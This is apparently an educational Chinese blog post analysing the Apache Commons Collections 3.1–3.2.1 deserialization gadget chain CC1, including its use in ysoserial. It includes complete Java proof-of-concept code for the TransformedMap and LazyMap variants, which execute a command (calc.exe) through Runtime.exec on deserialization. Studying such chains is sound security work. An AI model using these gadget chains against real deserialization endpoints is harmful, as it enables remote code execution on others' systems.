CC1的影响范围为Apache Commons Collections 3.1至3.2.1,需要提前引入对应版本的jar包。
CommonsCollections1成因
这里从p牛简化过的代码来看CC1的成因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|
执行上述代码,可以成功的在本地弹出计算器
![image]()
代码里面涉及到了apache.commons.collections中的一些类,先来了解一下这些类。
Transformer是一个接口,只有一个待实现的方法
1 2 3 4 5
| package org.apache.commons.collections;
public interface Transformer { Object transform(Object var1); }
|
看一下都有那些类实现了该接口
![image]()
ConstantTransformer实现了Transformer和Serializable接口
看一下其内部方法:
getInstance(Object constantToReturn)方法返回ConstantTransformer类的实例
ConstantTransformer(Object constantToReturn)为构造方法。获取传递进来的对象,并存储在类中
transform(Object input)和getConstant()将构造函数的参数对象返回出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.apache.commons.collections.functors;
import java.io.Serializable; import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable { static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); }
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object transform(Object input) { return this.iConstant; }
public Object getConstant() { return this.iConstant; } }
|
简单来说ConstantTransformer对对象做了一层封装。
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
其内部方法:getInstance()为获取类实例,transform()用来执行命令
构造方法存在两个函数重载。这里我们主要看:InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
构造方法需要传入三个参数:调用的函数名、函数所需参数类型、传递给函数的参数
1 2 3 4 5
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
transform()就是很标准的反射。根据获取的对象调用相应的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
|
主要看transform()方法,将传递进来的object放到实现transformer接口的类中执行,生成新的object,再交给下一个类去执行。
1 2 3 4 5 6 7
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
TransformedMap的作用是对HashMap进行修饰。用来在存入HashMap之前对key和value进行操作。
decorate()方法是返回类实例,因为该类构造方法为protect修饰。第二个参数和第三个参数为key和value的修饰器。
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
1 2 3 4 5
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
当调用put()方法时,会对传入的key和value,分别使用各自的修饰器进行修饰。
1 2 3 4 5
| public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
|
1 2 3 4 5 6 7
| protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); }
protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); }
|
举个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) { Map<String,String> map=new HashMap<>(); Map transformedMap=TransformedMap.decorate(map, new Transformer() { @Override public Object transform(Object o) { return o.toString().toUpperCase(); } }, new Transformer() { @Override public Object transform(Object o) { return o.toString().toUpperCase(); } }); transformedMap.put("key","value"); System.out.println(transformedMap.get("KEY")); } }
|
在这个例子中,创建TransformedMap对HashMap进行修饰。在调用decorate()方法时,key修饰器和value修饰器均使用匿名类的方法创建。
当执行put()方法时,会将传入的key和value分别放入各自的修饰器中做大写处理。
![image]()
认识完各个类,我们将上面的代码逻辑捋一下:
- 当执行
outerMap.put("test", "xxxx");时,test和xxxx会分别调用keyTransformer和valueTransformer的transform()进行修饰
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);这里可以看到valueTransformer为transformerChain
transformerChain的transform()方法将xxxx按顺序给ConstantTransformer和InvokerTransformer的transform()方法执行
ConstantTransformer的transform()返回Runtime实例化对象
InvokerTransformer的transform()利用反射机制,执行Runtime对象的exec方法来实现命令执行
构造CommonsCollections1
前面代码的核心便是outerMap.put("test", "xxxx"),只有执行该操作时才可以调用整个链。因此如果想在反序列化时使用CC1,需要寻找一个类,该类的readObject()方法存在TransformedMap.put()或与其类似的操作。这里与其类似的操作是指什么呢?我们可以看一下TransformedMap中,是否存在其他方法调用了keyTransformer或valueTransformer?这里找到了checkSetValue。
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
为了反序列化时实现CC1,我们引入一个新的类AnnotationInvocationHandler
AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler该类为JDK内置类,且并未使用public进行修饰,因此仅能利用反射机制来使用该类。
需要注意的是JDK版本应小于8u71,8u71之后对该类做了一些修改,这里使用的是JDK8u66.
readObject()代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null;
try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
}
|
先来看一下这段代码主要干了什么。
代码中的this.type和this.memberValues可以看一下构造函数。type为继承了Annotation类的类对象,memberValue为传进来的Map
1 2 3 4 5 6 7 8 9
| AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
|
var2 = AnnotationType.getInstance(this.type)用于获取注解类型的 AnnotationType 对象。AnnotationType 是 Java 反射 API 中的一个类,它代表了一个注解类型的元数据信息。通过 AnnotationType 对象,可以获取注解类型的名称、成员方法、默认值等相关信息。
Map var3 = var2.memberTypes();用来获取注解类中的成员对象,成员对象名为key,成员类型为value
举例如下:
![image]()
上述代码存在注解类MyAnnotation,通过AnnotationType.getInstance(MyAnnotation.class)拿到了AnnotationType类。再通过AnnotationType.memberTypes()拿到了注解类中的成员对象,这里返回的是Map,成员对象名为key,成员类型为value。放到readObject()方法里,便是获取传递进来的第一个参数对应的注释解的成员变量。
Iterator var4 = this.memberValues.entrySet().iterator()前面我们提到this.memberValues为传递进来的Map。Map.entrySet().iterator() 是一个方法调用序列,用于获取映射的键值对视图的迭代器。通过调用 entrySet() 方法获取键值对视图,然后使用 iterator() 方法获取迭代器,我们可以对键值对进行迭代和访问。举例如下:
![image]()
放到readObject()里,便是通过迭代访问传递进来的第二个参数Map的key和value
最后再看代码中的while循环(var3和var5是两个不同的Map,一个为注解类成员变量Map,一个为传递进来的参数Map):
1 2 3 4 5 6 7 8 9 10 11
| while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
|
String var6 = (String)var5.getKey():从传递进来的参数Map中获取key
Class var7 = (Class)var3.get(var6):从注解类成员变量Map中获取key对应值的类型
if (var7 != null):若key对应的值的类型不为空,则代表key是注解类的成员变量
Object var8 = var5.getValue():从传递进来的参数Map中获取value
!var7.isInstance(var8)若value的类型和从注解Map中获取的类型不相同,则对传进来的参数Map重新赋值
setValue(...)是这段代码的核心。当AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)构造方法第二个参数为TransformedMap时,var5.setValue()会调用TransformedMap.chechSetValue()方法。我们来捋一下这个调用的过程。
- 我们在构造方法中传递进来的第二个参数为
TransformedMap,此时this.memberValues为TransformedMap
Iterator var4 = this.memberValues.entrySet().iterator();此处先调用entrySet()方法,但是TransformedMap并没有该方法,因此调用的是其父类AbstractInputCheckedMapDecorator的entrySet()
1 2 3 4 5 6 7
| protected boolean isSetValueChecking() { return true; }
public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet()); }
|
这里实际上执行的是new EntrySet(super.map.entrySet(), this),EntrySet()为AbstractInputCheckedMapDecorator的内置类。
![image]()
构造方法是执行了EntrySet父类的构造方法,并将自己的成员变量parent赋值为AbstractInputCheckedMapDecorator类。在往后我们先不分析。回到this.memberValues.entrySet().iterator(),iterator()为EntrySet下面的方法,返回了EntrySetIterator类。![image]()
EntrySetIterator同样是AbstractInputCheckedMapDecorator的内置类。构造方法也与EntrySet类似。该内置类的parent成员变量也是AbstractInputCheckedMapDecorator![image]()
Map.Entry var5 = (Map.Entry)var4.next();再往后看,这里的next()方法为EntrySetIterator类的next()方法
![image]()
返回的是MapEntry类,该类与同样是内置类。其他的与上面两个内置类相似
![image]()
var5.setValue(...)这里调用的是MapEntry的setValue()方法。
1 2 3 4
| public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); }
|
这里对value值做了处理,this.parent为AbstractInputCheckedMapDecorator。看一下checkSetValue()方法
1
| protected abstract Object checkSetValue(Object var1);
|
发现这是一个抽象方法,没有具体的实现过程。但是在上面我们提到过TransformedMap中实现了该方法。因此这里实际调用的是TransformedMap.checkSetValue
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
到这里我们就知道readObject()中setValue()是如何调用TransformedMap.chechSetValue()的了。
在反序列化时执行AnnotationInvocationHandler.readObject()再配合上我们精心构造的Transformer便可以进行命令执行。
构造CommonsCollections1
结合前面讲的内容,构造代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object object = constructor.newInstance(Retention.class,transformedMap); objectOutputStream.writeObject(object); Object o=objectInputStream.readObject(); } }
|
执行这段代码会发现报错
![image]()
原因是new ConstantTransformer(Runtime.getRuntime())里的参数是Runtime实例,Runtime没有实现Serializable接口,因此不能反序列化。
解决方法就是将整个实例化的过程放到ChainedTransformer.transform()流程中,如下:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) };
|
这里传入的参数换成了Runtime.class,Class类有实现Serializable接口,因此可以序列化。
此时更改程序并执行,会发现经过反序列化之后并没有弹出计算器。并且查看源码会发现:
Object object = constructor.newInstance(Retention.class,transformedMap);存在一个Retention.class类对象。解释一下为什么没有弹计算器,以及Retention.class是什么?
Retention是Java中的注解类,其存在成员变量RetentionPolicy value()
![image]()
上面提到的流程里:从参数Map里取的key,同时出现在注解类成员变量Map里,并且注解类Map的类型与参数Map的类型不同时才会执行setValue
![image]()
在我们的代码里,由注解类Rentention生成的Map为{value=class java.lang.annotation.RetentionPolicy},而传进的参数Map并没有值,因此无法执行setValue()。为了执行setValue(),我们需要在Map中存入名为value的key,且对应的value类型不为java.lang.annotation.RetentionPolicy
因此最终的CC1如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); innerMap.put("value","aaaa"); Map transformedMap= TransformedMap.decorate(innerMap,null,chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object object = constructor.newInstance(Retention.class,transformedMap); objectOutputStream.writeObject(object); Object o=objectInputStream.readObject(); } }
|
![image]()
ysoserial的LazyMap链
和我们上面构造的链不同,在ysoserial中使用的是LazyMap而非TransformedMap
看一下ysoserial CommonsCollections1是如何实现的(注:代码中的new ConstantTransformer(1)并没有实际作用):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler; }
|
在这里我们需要重点关注以下三行代码干了什么,很明显他们是反序列化的核心。逐行来进行分析
1 2 3
| final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
第一行:
LazyMap.decorate()用来返回LazyMap实例化对象。既然使用了LazyMap替换TransformedMap,那就说明在LazyMap中存在某个方法,可以像TransformedMap.put()和TransformedMap.checksetValue()一样调用了ChainedTransformer.transform()。
通过构造方法发现ChainedTransforme变为了this.factory
1 2 3 4 5 6 7 8
| protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
|
查看类中的方法发现LazyMap.get()调用了ChainedTransformer.transform()
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
|
也就是说在反序列化的时候,readObject()方法通过某种方法调用了LazyMap.get()
第二行:
继续往下看final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);,跟一下该方法,发现实际调用的是Gadgets.createProxy(),并且对map调用了Gadgets.createMemoizedInvocationHandler()
1 2 3
| public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); }
|
看一下Gadgets.createMemoizedInvocationHandler()
1 2 3
| public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); }
|
这里的ANN_INV_HANDLER_CLASS是sun.reflect.annotation.AnnotationInvocationHandler
![image]()
Reflections.getFirstCtor()方法是在获取AnnotationInvocationHandler的构造方法
1 2 3 4 5
| public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); return ctor; }
|
实例化时传入的第一个参数Override.class时Java中的注解类,和我们上面构造链时用的Retention.class类似,不过Override内部没有成员变量。
也就是说Gadgets.createMemoizedInvocationHandler()将AnnotationInvocationHandler进行了实例化,第一个参数为Override.class,第二个参数为LazyMap。
回来看Gadgets.createProxy()
1 2 3 4 5 6 7 8
| public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }
|
iface此时是Map.class,iface.cast()方法是将传递进来的实例化类再返回出去
1 2 3 4 5
| public T cast(Object obj) { if (obj != null && !isInstance(obj)) throw new ClassCastException(cannotCastMsg(obj)); return (T) obj; }
|
这里调用了Proxy.newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)方法,在Java中该方法用来生成动态代理类。关于动态代理的内容,以后再说。这里只需要知道由Proxy.newProxyInstance(...)生成的代理类,在使用类中的方法时会调用第三个参数InvocationHandler h中的invoke()方法,而在这里的参数是实例化后的AnnotationInvocationHandler。
我们看一下AnnotationInvocationHandler.invoke(),发现其调用了LazyMap.get()
![image]()
简单来说,final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);这行代码生成了一个代理类mapProxy ,readObject()调用代理类中的方法时,会调用AnnotationInvocationHandler.invoke(),进一步调用LazyMap.get()
第三行:
再往后看代码是final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);。Gadgets.createMemoizedInvocationHandler()上面已经分析过了:将AnnotationInvocationHandler实例化,mapProxy 为实例化时的第二个参数。这里为什么又将AnnotationInvocationHandler实例化一遍?并且根据ysoserial 后面的代码发现,实例化后的对象就是我们要序列化的对象。
为了方便将两个AnnotationInvocationHandler进行区分,我们根据参数不同,将他们分别命名为AnnotationInvocationHandler_mapProxy和AnnotationInvocationHandler_lazyMap。AnnotationInvocationHandler_mapProxy是我们进行序列化的。
反序列化时,会执行AnnotationInvocationHandler_mapProxy.readObject(),进而调用mapProxy.entrySet(),然后调用AnnotationInvocationHandler_lazyMap.invoke(),最后调用lazyMap.get()来执行任意命令。
![image]()
构造LazyMap CommonsCollections1
通过前面的分析,知道了LazyMap CommonsCollections1的整个流程。我们尝试自己来使用LazyMap写一下CC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import sun.reflect.annotation.*;
import java.io.*; import java.lang.annotation.*; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import java.util.logging.Handler;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>();
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); InvocationHandler aih = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map aihProxy= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},aih); InvocationHandler handler= (InvocationHandler) constructor.newInstance(Override.class,aihProxy); objectOutputStream.writeObject(handler); Object o=objectInputStream.readObject(); } }
|
可以发现顺利弹计算器,但是运行时产生的错误是为什么?这个确实没了解到。似乎牵扯到了代理里面
![image]()
总结
TransformedMap:
![image]()
LazyMap:
![image]()